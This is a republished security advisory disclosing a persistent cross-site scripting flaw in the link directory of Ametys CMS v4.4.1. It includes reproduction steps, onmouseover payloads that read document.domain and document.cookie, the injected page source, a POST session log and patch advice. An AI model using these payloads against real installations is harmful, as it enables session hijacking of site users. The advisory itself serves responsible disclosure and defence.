Sunday, February 27, 2022

Ametys CMS v4.4.1 - Cross Site Scripting (XSS)

# Exploit Title: Ametys CMS v4.4.1 - Cross Site Scripting (XSS)
# Exploit Author: Vulnerability-Lab 
# Date: 21/01/2022


Document Title:
===============
Ametys v4.4.1 CMS - Cross Site Scripting Vulnerability


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2275


Release Date:
=============
2022-01-12


Vulnerability Laboratory ID (VL-ID):
====================================
2275


Common Vulnerability Scoring System:
====================================
5.2


Vulnerability Class:
====================
Cross Site Scripting - Persistent


Current Estimated Price:
========================
500€ - 1.000€


Product & Service Introduction:
===============================
Build powerful and stunning websites. Whether you need an advanced corporate website, a powerful landing page, a professionnal blog or
an event website, all the tools to make creative digital experiences are at your fingertips with Ametys. No coding skills needed.
Ametys make it easy for everyone to create and manage unified digital platform. Ametys delivers simple and intuitive interface with
a familiar ribbon Office style interface.

(Copy of the Homepage:https://www.ametys.org/community/en/ametys-platform/ametys-portal/overview.html )


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered a persistent input validation web vulnerability in the Ametys v4.4.1 cms web-application.


Affected Product(s):
====================
Ametys
Product: Ametys v4.4.1 - Content Management System (Web-Application)


Vulnerability Disclosure Timeline:
==================================
2021-07-24: Researcher Notification & Coordination (Security Researcher)
2021-07-25: Vendor Notification (Security Department)
2021-**-**: Vendor Response/Feedback (Security Department)
2021-**-**: Vendor Fix/Patch (Service Developer Team)
2021-**-**: Security Acknowledgements (Security Department)
2022-01-12: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Authentication Type:
====================
Restricted Authentication (User Privileges)


User Interaction:
=================
Low User Interaction


Disclosure Type:
================
Responsible Disclosure


Technical Details & Description:
================================
A persistent script code injection web vulnerability has been discovered in the official Ametys v4.4.1 cms web-application.
The vulnerability allows remote attackers to inject own malicious script codes with persistent attack vector to compromise
browser to web-application requests from the application-side.

The vulnerability is located in the input fields of the link text, small description and description in the add external link function.
The function is for example located in the link directory of the backend. Added links are listed with status and details.
Attackers with low privileges are able to add own malformed link with malicious script code in the marked vulnerable parameters.
After the inject the links are being displayed in the backend were the execute takes place on preview of the main link directory.
The attack vector of the vulnerability is persistent and the request method to inject is post.

Successful exploitation of the vulnerability results in session hijacking, persistent phishing attacks, persistent external redirects
to malicious source and persistent manipulation of affected application modules.

Request Method(s):
[+] POST

Vulnerable Module(s):
[+] Link Directory (Add)

Vulnerable Function(s):
[+] add (External Link)

Vulnerable Parameter(s):
[+] Link Text
[+] Small description
[+] Description

Affected Module(s):
[+] Frontend (Main Link Listing)
[+] Backend (Link Directory)


Proof of Concept (PoC):
=======================
The persistent web vulnerability can be exploited by remote attackers with low privilged user accounts with low user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.


Manual steps to reproduce the vulnerability ...
1. Open the application path and login to the service as restricted user that allowed to create links
2. Open the link directory and create a new link (top|left)
3. Inject the test payloads to the link text, small description and description and save via post
4. On visit of the link directory the payloads executes in the backend listing or frontend
5. Successful reproduce of the persistent web vulnerability!


Payload(s):
<a onmouseover=alert(document.domain)>poc_link</a>
<a onmouseover=alert(document.cookie)>poc_link</a>


Vulnerable Source: Link Directory - Link (Add)
class="x-grid-cell-inner " style="text-align:left;"
<a onmouseover="alert(document.domain)">poc_link</a></div></td><td class="x-grid-cell x-grid-td x-grid-cell-gridcolumn-7478 x-unselectable"
style="width: 248px;" role="gridcell" tabindex="-1" data-columnid="gridcolumn-7478"><div unselectable="on" class="x-grid-cell-inner "
style="text-align:left;"><a onmouseover="alert(document.domain)">poc_link</a></div></td><td class="x-grid-cell x-grid-td x-grid-cell-gridcolumn-7479
x-unselectable" style="width: 247px;" role="gridcell" tabindex="-1" data-columnid="gridcolumn-7479"><div unselectable="on" class="x-grid-cell-inner "
style="text-align:left;">&nbsp;</div></td><td class="x-grid-cell x-grid-td x-grid-cell-gridcolumn-7480 x-grid-cell-last x-unselectable" style="width:
148px;" role="gridcell" tabindex="-1" data-columnid="gridcolumn-7480"><div unselectable="on" class="x-grid-cell-inner " style="text-align:left;">&nbsp;
</div></td></tr></tbody></table><table id="tableview-7474-record-105" role="presentation" data-boundview="tableview-7474" data-recordid="105"
data-recordindex="1" class="x-grid-item x-grid-item-selected x-grid-item-alt" style=";width:0" cellspacing="0" cellpadding="0"><tbody><tr class="
x-grid-row" role="row"><td class="x-grid-cell x-grid-td x-grid-cell-gridcolumn-7475 x-grid-cell-first x-unselectable" style="width: 396px;"
role="gridcell" tabindex="-1" data-columnid="gridcolumn-7475"><div unselectable="on" class="x-grid-cell-inner " style="text-align:left;">
<span class="a-grid-glyph ametysicon-link23"></span>test.de</div></td><td class="x-grid-cell x-grid-td x-grid-cell-gridcolumn-7476 x-unselectable"
style="width: 149px;" role="gridcell" tabindex="-1" data-columnid="gridcolumn-7476"><div unselectable="on" class="x-grid-cell-inner "
style="text-align:left;">Normal</div></td>


--- PoC Session Logs (POST) ---
https://ametys.localhost:8000.localhost:8000/cms/plugins/core-ui/servercomm/messages.xml
Host: ametys.localhost:8000.localhost:8000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0
Accept: */*
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------1197812616356669894551519312
Content-Length: 798
Origin: https://ametys.localhost:8000.localhost:8000
Connection: keep-alive
Referer: https://ametys.localhost:8000.localhost:8000/cms/www/index.html
Cookie: JSESSIONID=A1DC067A1739FDFBC72BCF921A5AA655;
AmetysAuthentication=YW1ldHlzX2RlbW9fdXNlcnMjd2VibWFzdGVyI1A5WndHNTNzNmJhYlRWSDI;
JSESSIONID=A0EC6E56FC3A2131C9D24C33CB9CCAAA
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
content={"0":{"pluginOrWorkspace":"core-ui","responseType":"xml","url":"system-announcement/view.xml"},"1":
{"pluginOrWorkspace":"core-ui","responseType":"xml","url":"system-startuptime.xml"}}&context.parameters=
{"siteName":"www","skin":"demo","debug.mode":"false","populationContexts":["/sites/www","/sites-fo/www"],"user":
{"login":"testuser_restricted","population":"ametys_demo_users","firstname":"testuser_restricted","lastname":"User","fullname":"testuser_restricted User",
"email":"[email protected]","populationLabel":"Ametys Demo Users","locale":"en"}}
-
POST: HTTP/1.1 200
Server: Apache/2.4.29 (Ubuntu)
X-Cocoon-Version: 2.1.13
Ametys-Dispatched: true
Content-Type: text/xml
Via: 1.1 ametys.localhost:8000.localhost:8000
Vary: Accept-Encoding
Content-Encoding: gzip
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Language: fr


Solution - Fix & Patch:
=======================
The vulnerability can be patched by a secure parse and encode of the input fields in the external link add function of the link directory.
In a second step the input fields can be restricted for special chars to prevent further attacks.
As next step the output location were the links are being displayed (frontend & backend) should to be sanitized correctly.


Security Risk:
==============
The security risk of the persistent input validation web vulnerability in the ametys web-application cms is estimated as medium.


Credits & Authors:
==================
Vulnerability-Lab [Research Team] -https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab


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=========================
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thank you Templateism for the design - You should have written the code a little more complicated - Nothing Encrypted anymore